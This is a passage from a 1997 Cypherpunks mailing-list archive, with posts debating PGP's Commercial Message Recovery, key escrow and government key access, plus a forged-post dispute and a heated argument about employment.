print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vcarlos35@juno.com
Date: Sat, 25 Oct 1997 03:59:57 +0800
To: cypherpunks@toad.com
Subject: Access RC4
Message-ID: <19971024.152551.3438.0.vcarlos35@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Around June/July of 1995, the Cypherpunks list coordinated an
attack on MS Access's RC4 encryption key. Does anybody know
what happened with it?
(I was found a partial archive of the RC4 attack, but it stopped
around July 11, 1995)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 25 Oct 1997 03:59:56 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <633f314d1dcc4c2315d89ebedf6e75ab@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




I don't think you know who I am, but I wrote this message.

These are "my" words, but "I" am anonymous.

So I am wondering - who owns these words?
Who owns the words of an anonymous author,
who is responsible for the actions of an unknown party,
and who is to say that this is so?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:31:41 +0800
To: cypherpunks@cyberpass.net
Subject: in transit = ? (Re: Singaporean control freaks & CMR)
In-Reply-To: <cb7aef8839502ded654b6de27813cb63@anon.efga.org>
Message-ID: <199710241437.PAA01543@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> Adam Back writes:
> > The problem is that pgp5.x is both an email encryption system and a
> > file encryption system.  So PGP Inc argue that they need the recovery
> > features for files.  Well OK, but for emails in transit?
> 
> Define "in transit".  Specifically, when exactly does email stop being
> "in transit".  When it is received on a mail server?  Transfered to the
> destination computer?  Displayed to the user?  Saved in an archive?

It is no longer in transit for the purposes of encryption when you
have decrypted it.  At that point you can store it in unencrypted
form, or in encrypted form with recovery information.

> How long might a piece of email spend "in transit"?  Compare and contrast
> with the amount of time a piece of data from an encrypted phone call
> spends in transit.  Or an SSL protected HTTPS web transaction.

One week would cover it mostly?

You can even escrow the communications-only keys if you're really
bothered about people going away for a week and forgetting their
password on return with a few encrypted messages queued up.  Even that
is much better than CMR.

You might want to implement a evenings hacking's worth of PFS
transport level security if you were going to do that to reduce the
risk.

> Do you understand the difference between transit times of a fraction
> of a second and of days or weeks?  Does this suggest any differences in
> the need for recovery of encrypted data "in transit"?
> 
> Not all communications are alike.  The longer data spends "in transit"
> the more need there is for recovery features.

Sure, I can agree with that.

The point of CDR is to make sure the attacker has to attack the
endpoints to get plaintext.  The danger with CMR is that it includes
the recovery information in the message.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:35:59 +0800
To: shamrock@cypherpunks.to
Subject: Re: PGP Employee on MKR
In-Reply-To: <Pine.BSF.3.96.971023211502.3688C-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710241447.PAA01552@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> I have watched this silly debate for some time now. PGP pulled an
> awsome hack on corporate America, bringing strong crypto to
> thousands of corporate drones, while Cypherpunks, the crypto elite,
> seems incapable of reponding with anything other than to engage in
> frenzied mutual masturbation fueld by GAK fantasies.

Lucky, all we're saying is that there are better ways to do it.  What
is so difficult with that?

We didn't say: "don't have disaster recovery for stored data."  (Well
I didn't and I don't think Mark did either).

We just said: "make it is diffcult as possible to abuse for GAK while
you're designing it".

> This is sad. Very sad.

If you want to get into the debate, at least start making some
specific points criticizing the obvious alternatives:

"corporate key escrow is better than commercial message recovery"

This is so because CKE requires access to the data.  CMR doesn't, the
recovery info goes over the wire.

You of all people I would have thought would see this one clearly, it
was only a few weeks ago you were arguing that the "key escrow"
argument of the Fed's was a fallacy becuase people wouldn't be using
their comms keys to encrypt stored data.  (Or something along those
lines).  Same thing here, just applied to corporate environments.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Fri, 24 Oct 1997 18:48:55 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [news] Pentagon computers broken into over 250 times
Message-ID: <199710241551.PAA00349@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** Pentagon computers broken into over 250 times

More than 250 U.S. Defense Department computer systems were broken
into last year and the number of attempted break-ins was projected to
double this year, a U.S. intelligence official said. The comments
that Air Force Lt. Gen. Kenneth Minihan, director of the National
Security Agency (NSA), made Saturday at an intelligence convention
were released Thursday. Urging stepped-up awareness of cyber security
issues, Minihan said the United States built its information
infrastructure on a "poor foundation -- and we will eventually pay
for it." See http://www.infobeat.com/stories/cgi/story.cgi?id=5585016-7b1                   

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:58:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
In-Reply-To: <199710231945.VAA05198@basement.replay.com>
Message-ID: <199710241505.QAA01565@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> [just remove the CMR key and have your message bounce
> 
> People say, "Oh, but then the government will make everybody run the
> policy enforcer and reject any mail not encryped to the government."

Yep.

> First, if they were going to do this, they could do it with old versions
> of PGP too.  Multiple recipients have been around practically forever.

True.  Doesn't mean I'm going to rush off and implement a policy
enforcer to do the job, nor use the good name of PGP Inc to deploy
such software widely.

> Second, it's a ridiculous idea which ignores how email works.  

Nope, it's not.  Enforcement does not have to be 100%.

People smoke various illicit substances; it's illegal: get caught with
your joint, you go to jail.

> More and more people are running systems at home which could send
> and receive SMTP mail.  The trend is towards home servers which
> support the multiple home computers people will have in the next
> decade.  There's no way to make those people run filters!

I'm on dial up, here.  I'll be going permanent just as soon as the
damn cost comes down.  ($15k for 64k line over here, you've got to be
kidding).

> People say, "Oh, but they'll make it illegal to receive mail at home
> without going through an ISP."  

Most users are going via an ISP right now.

> I'm serious, this has actually been suggested on this list.  It has
> to be suggested, because it's the only way this incredibly stupid
> scenario could be made to work.

Nope.  All that is required is for the sending of non-CMR encrypted
emails to be detectable.  Super-encryption doesn't cut it -- the
government is going to notice that, after they've singled you out for
a spot check.

> If the only way the government can enforce GAK is by making it
> illegal for people to receive email through paths which don't pass
> through government filters we can all rest easy, because it will
> never happen.

Lots of things are illegal which it is easy to get away with most of
the time.  Still doesn't make it a good idea to write software which
makes it easier to do spot checks, does it?

> Even for the cases where filtering is done (like businesses), there are
> easy countermeasures, described by no other than Jon Callas, PGP's chief
> scientist!  Why would he say this if there were a massive conspiracy to
> enable GAK?  He's also the one who explained the point above about the
> self signature.  He has suggested two other easy workarounds:
> 
> Modify the PGP 5.0 source to put a fake recipient block on it.  How many
> companies release their source so that you could do this?
> 
> Or superencrypt to the real end user, like you suggested in your scheme.
> Why is this OK as a privacy workaround for your idea but it doesn't
> count for PGP?

Neither of those cut it.  If your company is sampling your email, and
you've hacked around it, they'll just fire you, or what ever.

If it is the government doing the sampling, they'll just lock you up,
or tack 5 years on to the sentence for "use of non GAKed encryption in
furtherance of a crime".

> Then people say, "Oh, but PGP shouldn't have written the SMTP filter
> anyway (or at least they shouldn't have put that one policy in) because
> it would make it easier for the government to make everybody use it."
> 
> Ignoring all the considerations above about what a stupid idea this is,
> the fact is that a simple filter like this is incredibly easy to write.
> I'm sure a skilled Perl hacker like Adam Back could put together something
> to check that a PGP message is encrypted to a desired key in a few hours.

Sure.  But just because this is possible doesn't mean you should do
it.  The gap between me doing it, and PGP doing it is that PGP are
shipping hundreds of thousands of the things.  Deployment wins.

> The existence of such a filter is totally insignificant in the big
> picture.  If we are ever forced into a GAK system and filtering turns
> out to be a part of the picture, it will be trivial for such filters to
> be created.  PGP's SMTP product will not make any difference one way or
> the other.

Maybe.  The point is that if pgp5.5 didn't include it this extra
deployment hurdle would be the government's problem.  Users would be
using older mail systems for ages.

> The fact is, nobody has come up with a scenario where PGP's CMR feature
> can be turned into GAK in any practical way.  They have to assume that all
> kinds of changes and additions are made - inability to remove CMR keys,

Nope.  Never said that.  You can remove them all you like -- your mail
just bounces when you do.

> forcing everyone to run SMTP filters, 

not required.

> making it illegal to receive email at home, 

not required.

> preventing people from implementing clients with workarounds,

not that much of a big deal; most users have enough problems just
getting out of the box software to work without downloading cypherpunk
patches, knowing what they are etc.  Ie we _know_ that cypherpunk
types will be ok.  That's not the point.

> changing the technology to make it harder to implement workarounds
> using binding cryptography.  

That's an optional.

> Any system can be turned into GAK if you're allowed to postulate
> these kinds of changes.  And the fact is that every GAK system so
> far designed can be trivially defeated.

So could clipper.  Where you defeneding it too?  It was optional (or
so they said), etc.

Think about detection rather than hackign around once things become
laws with associated jail times.

> [source code, non-GAKked freeware]
>
> The existence of these products in source code form will forever stand
> as a barrier to any hope to coax (most) people into using GAK software
> by forcing it into built-in products, leaving the alternative of non-GAK
> software only to a tiny minority.  This in itself should monkey wrench
> any government plans for requiring GAK.

I think you'll find that the majority of users will use the GAKked
stuff.  Most users are using windows.  Most are using 40 bit crypto.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 25 Oct 1997 04:33:44 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Proof IE4 not an OS, was Re: Bill Gates, the Bully Savior
In-Reply-To: <Pine.LNX.3.95.971024133418.361A-100000@is-chief>
Message-ID: <34512A71.7D2F@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes wrote:
> 
> On Fri, 24 Oct 1997, Paul H. Merrill wrote:
> 
> > one million monkeys typing under the pseudonym James Love wrote:
> > >
> > > Nifty comment by Michael McMain on JavaLobbyCafe@iceworld.org
> > > list:
> > >
> > > --------------------------
> > >
> > > A friend at work made an interesting point about MS's claim that IE4 is
> > > simply an OS extension and not an application.  All the DA has to do is
> > > turn on a Power Mac, start IE4, turn to MS and say "So what other parts
> > > of your OS run on the Macintosh exactly?".
> >  The MS assertion is not that IE only works within the OS.  Just that it
> > is a part.
> >
> 
> This is a non-sequitor.  Any piece of the operating system that runs
> idependently of the operating system is, by definition, not part of
> the operating sytem.
> 
> By that definition Word and Powerpoint are part of the operating system
> in lieu of their providing word-processing and presentation services to
> the graphic user interface.
> 
> Operating Systems are software systems that manage local (and sometimes)
> network resources.  In the case of a browser it generally just presents
> network content provided by some other entity.  By this definition
> microsoft could argue that the networked version of Duke Nukem is simply
> an OS extension.
> 
> To argue that IE is part of the OS is seriously twisting the definition
> of OS.  When in doubt, consider "browsing" a good book on operating
> systems.
> 
> I was giving M$ the benefit of the doubt, because I don't want the
> government determining what is and isn't part of the OS (and I'm
> not a big fan of Janet "The buck stops here" Reno.)  But when M$
> starts threatening PC manufacturers with canceled 95 licenses if
> they don't make the IE icon standard -- well -- thats beyond the pale.
> 
> What is the difference between that and Al Capone threatening owners
> of speak-easys with knee-capitation if they sell any beer but
> his?
> 
> Jim

First, I invite ayone who cares to to take IE off a Mac and run it on a
PC.  Same name does not mean same product.

Second, MS is moving (and well along the way) to IE as the directory
display portion of the OS.  In my book that makes it part of the OS.

Third, I have not heard of exclusive contracts, just complete package
contracts. 

Fourth, What exactly do you mean by "run independently" of the OS?  Is
IE now available so I don't have to load the slime Win 95?

Fifth, When it comes to contracts, one should only sign what one is
willing to live with.  If the poor computer companies don't want to
supply IE then let them run over to Cupertino and license Mac OS
instead.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Sat, 25 Oct 1997 00:18:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET
In-Reply-To: <199710241155.MAA01293@server.test.net>
Message-ID: <slrn651i99.1p5.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Adam Back wrote:
>I think that pgp6.0 (or whatever it will be called) when it is
>released will allow keys to have multiple CMR key requests attached to
>userids.  This will enable it for real.  (pgp5.5 as far as I can

PGP 5.0 still supports this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Sat, 25 Oct 1997 05:48:05 +0800
To: "Phillip R. Zimmermann" <coderpunks@toad.com
Subject: Re: PRZ Announcement
In-Reply-To: <34500C05.7D6F@HiWAAY.net>
Message-ID: <Pine.OSF.3.96.971024163105.21549A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain




Damn, that's annyoing. I don't have a PGP key, and never sign my messages. Note
that my real message trailer has a line of dashes before it. I'm putting
something confirming that the other message was a forgery (and confirming that
I don't have a PGP key) on my web page -- http://hiwaay.net/~rfarmer (even the
forger agrees that's my page). 

I'll also (possibly) create a key and post the real fingerprint/ID on my page
if this becomes a problem. (Actually, probably not...can only run 2.6.2)

Note that the keyserver probably has this as my key...I'll use a different name
for my real key.

Some lame forger pretended Randall Farmer wrote:

> Some lame forger pretended Randall Farmer wrote:
>  
> > On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
> > could have wrote:
> > ...
> > >   However, I have reassessed my views of who truly has a right
> > > to control access to privacy and have come to the conclusion
> > > that privacy is too important an issue to be left in the hands
> > > of the individual, with the obvious potential for misuse.
> > 
> > Hmm...I haven't checked any signatures or headers yet, but something tells me
> > that this ain't PRZ. For example, the Organization: header refers to Orwell's
> > 1984 as a "blueprint"...forget the signatures (just got a message saying they
> > match -- either that person's lying, "they" cracked his key, or it's some
> > detail that has the program using a different key/ignoring some text), it is
> > psychologically impossible for someone to go from privacy advocate to
> > 1984-as-a-blueprint that quick.
> > 
> > ---------------------------------------------------------------------------
> 
>   The above is a lame forgery by some troublemaker, and only 
> serves to underscore PRZ's new position, namely, that access
> to privacy should be supervised by people who have shown that
> they have the maturity to act responsibly, as evidenced by
> their success in a corporate atmosphere.
> 
>   I am PGP signing this post so that there can be no doubt as
> to its source and authenticity.
>   Cypherpunks list subscribers should be more careful about
> checking signatures before believing everything they read.
> 
> Randall Farmer
>     rfarmer@hiwaay.net
>     http://hiwaay.net/~rfarmer
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQA/AwUBNFAK/BpRm26Z4YsSEQIA0wCeJZ7R9w/XfDuE0HMo+eP/0ihYOykAoNef
> Gt1hIbRHpYtJ1jp/79hWZl0G
> =E9PX
> -----END PGP SIGNATURE-----
> 
> 

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 25 Oct 1997 05:52:05 +0800
To: mark@unicorn.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <877714803.13910.193.133.230.33@unicorn.com>
Message-ID: <199710242142.RAA11252@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <877714803.13910.193.133.230.33@unicorn.com>, on 10/24/97 
   at 10:40 AM, mark@unicorn.com said:

>whgiii@invweb.net wrote:

>> There is a simple solution to that don't work for one if you don't like
>> their policies.

>I agree; that's why I don't. But I see an inconsistency here. PGP keep
>telling us that CMR isn't so bad because you can work around it, or
>superencrypt, or otherwise avoid the company's right to snoop on all
>communications. Yet you, who believe in this right, support CMR, which
>can be used to defeat that right, over simple escrow of employee's 
>corporate communication keys. Why?

>Again, I'm not saying that the companies have no such right. Personally
>I'd rather escrow my corporate key than see widespread CMR in its current
>form.

Well I don't see an inconsistance. :)

1st: Any security system can be circumvented. CMR can be circumvented, Key
Escrow can be circumvented, GAK can be circumvented ...

2nd: Just because I assert that one has a right to do something doesn't
mean that I *like* it. You can scratch you ass and pick your nose while
walking down the street, I don't like it but I am not going to stop you
from doing it. I am sure that the Jews in the ACLU who defended the Nazi's
right to march in Skokie, IL didn't like what they had to say but were
willing to defend their right to say it.

3rd: I never said I liked CMR or that I thought it was the best solution.
What I do believe it was the best solution available at the time. They
were able to provide a "solution" for their customers in a timely fashion
with little modification to their exisisting codebase. This was a
migration path for their customers from Viacrypt 4.0. One of the thing
they needed to get some customers away from was key escrow. Remember now
Viacrypt is RSA, signing & decryption are the same key. Escrowing these
keys is a BadThing(TM). Sure eventually they will migrate to the DSS/DH
keys but as I am sure you are aware chage is a slow thing in a corporate
enviroment.

4th: I most definatly do not believe that CMR=GAK or is anywhere close to
it. The sky is not falling chicken little, it's only rain :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFEWyI9Co1n+aLhhAQE9MgP/dbk/ZgPNsIux+dlOBZ6b5ZNyhuZSuDT+
ZCjRDKPFRopZiRr5ERlt9cv+CAqFmE9w/h/hvbBCOUlPb7eXD2HskpveqcKwpwTh
Cfjd/iWaUAzHZjryW5/yOPLxZeXojEvXGg1XlCjaKr51DvBJdITTJRtqwWvNRCd2
BL3O85bCS90=
=4fkg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 25 Oct 1997 01:07:04 +0800
To: cypherpunks@toad.com
Subject: Forgery
Message-ID: <bMciiMs1b9rHp/JmKiCl/w==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Forgery is the sincerest form of plagiarism.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 25 Oct 1997 06:50:34 +0800
To: harka@nycmetro.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <199710242206.RAA26328@einstein.ssz.com>
Message-ID: <199710242231.SAA11709@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710242206.RAA26328@einstein.ssz.com>, on 10/24/97 
   at 05:38 PM, harka@nycmetro.com said:

>-----BEGIN PGP SIGNED MESSAGE-----

> > Kent Crispin wrote:

> > Indeed. It's just as idiotic as people being killed for
> > receiving encrypted mail in Iraq. It is, however, just as
> > possible, and anyone who believes the contrary obviously hasn't
> > worked for a big company before; I've seen them do far, far,
> > more idiotic things in the past.

> -=> Quoting In:whgiii@invweb.net to Harka <=-

> In> There is a simple solution to that don't work for one if you
> In> don't like their policies.


>Sometimes it seems, as if the people advocating the
>"business-reality" are furthest removed from it.

>The "just don't work for them if 'ya don't like it"-argument  will last
>about 4 weeks...the approximate time a human can survive without eating.
>(or a couple of weeks less, if you have kids)

>I.e. unless you are the super-duper, three-times nobel-prize-winner (with
>lots of money in stocks), who can AFFORD to choose employers that freely,
>you will be DAMN GLAD to have a job AT ALL, regardless of their policies!


Sorry, your sloth and lack of ambition is no excuse to deny me my rights.
An employer only owes you to what is agreed on when you enter into a
contractual agreement of employment. For you clock punching 9 to 5'ers
that means you show up to work, you do your work, and at the end of the
week you get your check. You don't like the company, or their policies, or
the color of the bosses tie, too bad don't let the door hit you in the ass
on the way out.

Arrrrrrrrgh!!!! Sniveling little fucks like you really get my gander up. I
bust my ass every day from before the sun comes up till long after it goes
down. When I am not actually doing "work" I am continually educating
myself, reading tech manuals,trade journals, ect. I have built up a
library of several thousand books on engineering, programming, network
management, mathematics and I subscribe to over 40 different magazines.
This weekend my entertainment is refreshing my self on the latest
developments in DCE. I spend more time improving my knowledge, thus my
marketability, than you probably spend at your regular job! The reason
people like you are "DAMN GLAD to have a job AT ALL" is because you don't
do anything to make yourself more marketable in the corporate world. The
company that you work for doesn't owe you a GOD DAM THING other than your
paycheck, and only that if you have done your work to their satisfaction! 


Removed from "business-reality" indeed, I am fucking living it every day
asshole.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFEibI9Co1n+aLhhAQGAnwP9EJY15ZOhrm0AOj6vXkC79zxdV/ElyWDb
YL0cp4ScaD8BC0oF9dJcrwnrR71BcKGwn6crMRSwjxTu4fgLBqy80OlIQH2VUqkY
b2ssdyQfhW+VjlfNZrrI4hShWuGYYAicynT42f1OmJSeQ2qfGomOBILHpVbncO/W
TVSyeE+lL/o=
=x5jH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 25 Oct 1997 08:21:22 +0800
To: cypherpunks@Algebra.COM
Subject: Saving money
In-Reply-To: <199710242206.RAA26328@einstein.ssz.com>
Message-ID: <v03102800b076e39ec69a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:38 PM -0700 10/24/97, harka@nycmetro.com wrote:

>Sometimes it seems, as if the people advocating the
>"business-reality" are furthest removed from it.
>
>The "just don't work for them if 'ya don't like it"-argument  will
>last about 4 weeks...the approximate time a human can survive
>without eating. (or a couple of weeks less, if you have kids)

Nonsense. Worse, pure socialist, Wobbly,  propaganda.

By my third year out of college, I had a big enough cushion of saved cash
and other investments, to last for several months (or more) without working
(roughly speaking, as I don't have all the exact figures in front of me
now). By my fifth or sixth year out of college, I could have lasted for
several years without working.

By my eighth or ninth year out of college, this increased to even more years.

And by my twelfth year of working, I retired for the rest of my life....and
that was 11 years ago.  And I know a _bunch_ of people who did the same
thing.

Granted, my later investments did quite well, I was well-compensated at my
job, etc. And I was hardly unique.

Most people are able to save enough to give them a several-month buffer,
assuming they put their mind to it and make some short term sacrifices in
favor of longer term security. In fact, this is a savings goal recommended
widely, and, fortunately, followed by many. The "one paycheck away from the
streets" canard is true only for foolish or careless persons.  All it takes
is discipline to spend less than one earns and put the money into
investments.

The protection against "company stores" and "company towns" and other such
alleged violations of one's freedoms is as it has always been: save your
money. We used to call it, not very originally, "'Fuck you' money."

And anyone who has worked for a couple of years and hasn't saved up some
"'Fuck you' money" deserves whatever happens to him.

>I.e. unless you are the super-duper, three-times nobel-prize-winner
>(with lots of money in stocks), who can AFFORD to choose employers
>that freely, you will be DAMN GLAD to have a job AT ALL, regardless
>of their policies!

More nonsense. Move out to the Bay Area, if you have any talent at all in
software or hardware or biotech or Web design or multimedia, and you'll
find jobs galore.

(I hear this is true for many other parts of the U.S. as well...)

There's no excuse for being "trapped in a job."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 25 Oct 1997 05:48:02 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: PGP Employee on MKR
Message-ID: <199710242206.RAA26328@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 > Kent Crispin wrote:

 > Indeed. It's just as idiotic as people being killed for
 > receiving encrypted mail in Iraq. It is, however, just as
 > possible, and anyone who believes the contrary obviously hasn't
 > worked for a big company before; I've seen them do far, far,
 > more idiotic things in the past.

 -=> Quoting In:whgiii@invweb.net to Harka <=-

 In> There is a simple solution to that don't work for one if you
 In> don't like their policies.


Sometimes it seems, as if the people advocating the
"business-reality" are furthest removed from it.

The "just don't work for them if 'ya don't like it"-argument  will
last about 4 weeks...the approximate time a human can survive
without eating. (or a couple of weeks less, if you have kids)

I.e. unless you are the super-duper, three-times nobel-prize-winner
(with lots of money in stocks), who can AFFORD to choose employers
that freely, you will be DAMN GLAD to have a job AT ALL, regardless
of their policies!

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... The facts, although interesting, are usually irrelevant.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNFEPMzltEBIEF0MBAQFKogf+MyQ/DGjqtDzS/zFJzl1YX75OgDMi313x
r4SJcWam4VW2fgSQ6Jq1CsX8IgTKJZkIJOWzf2HojFS6FLsdL5cRrf6O+dBcBa8t
2i+P5ZIi8zM6G5HqoHr+nGEPlT0MnoYqjeSVIMSdGVugBRuSzZV0R7trxXSvZkUc
9cDu5eOdUsfG3KB3LRy5puktfYhY/YQUwidqJz2TuICpj41EFtzLnHKgjBZ/B1eL
8i7uZCGD77oImmD7Cs3gzmYEwcjyw94lPgHZbory+J+CScFUddmLC8HsyVjUKytQ
HPOqV0TOP828FVz/JrZ5KS+oZgvKSMPLY/Rv75XhIZB7uUGTnCt89w==
=TL8Z
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 01:48:02 +0800
To: mark@unicorn.com
Subject: a day in the life of a pgp5.5 user (Re: PGP Employee on MKR)
In-Reply-To: <877707423.648.193.133.230.33@unicorn.com>
Message-ID: <199710241640.RAA03688@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mark Grant <mark@unicorn.com> writes:
> aba@dcs.ex.ac.uk wrote:
> > We didn't say: "don't have disaster recovery for stored data."  (Well
> > I didn't and I don't think Mark did either).
> 
> Yep. While there are much better options, I think PGP's CMR would be a
> tolerable short-term solution for stored data. The problem is that it's
> not for stored data, it's for email (or so 'Commerical MESSAGE Recovery')
> would imply.
> 
> Note that solely using CMR for stored data would not require that the CMR
> 'feature' be built into freeware or personal versions of PGP, but only into
> the corporate version. That in itself would be a big win.

PGP 5.5 currently has CMR for stored data AND comms data (if you set
it up to have CMR).  CMR for stored data only is much safer from
government abuse.


I think even CMR for just stored data is kind of dumb in that it
doesn't work very well.

Consider a day in the life of a typical Joe Luser (who can't remember
a password to save his life).

He's been using this spiffy new pgp5.5 (or your suggested 5.6 with CMR
storage recovery, but with no CMR message recovery).. he has PGP
encrypted files scattered everywhere.  On backup tapes in the
fire-proof safe, on floppies, on the disk, on the disk inside `.zip'
files `.tar' files, on the optical duke box (full of write-once worm
CDs), etc. etc

He forgets his password (for the third time that month).  He needs all
those files back _now_ because there's a deadline, and there's going
to be serious shit flying if it doesn't get finished.

So now what?

The admin has to come along and recover them all for Joe.  He'll be
there for the duration if he's got to re-encrypt half of the 2Gb disk
(it'll be _slow_ with public key crypto, which PGP Inc insists on
using even for single user storage applications, but we'll save up
that rant for another post).  Could easily take an hour or so before
he's through.  Probably he'll miss some because they are inside `.zip'
files, etc.

And then half an hour after the admin has finished Joe Luser will
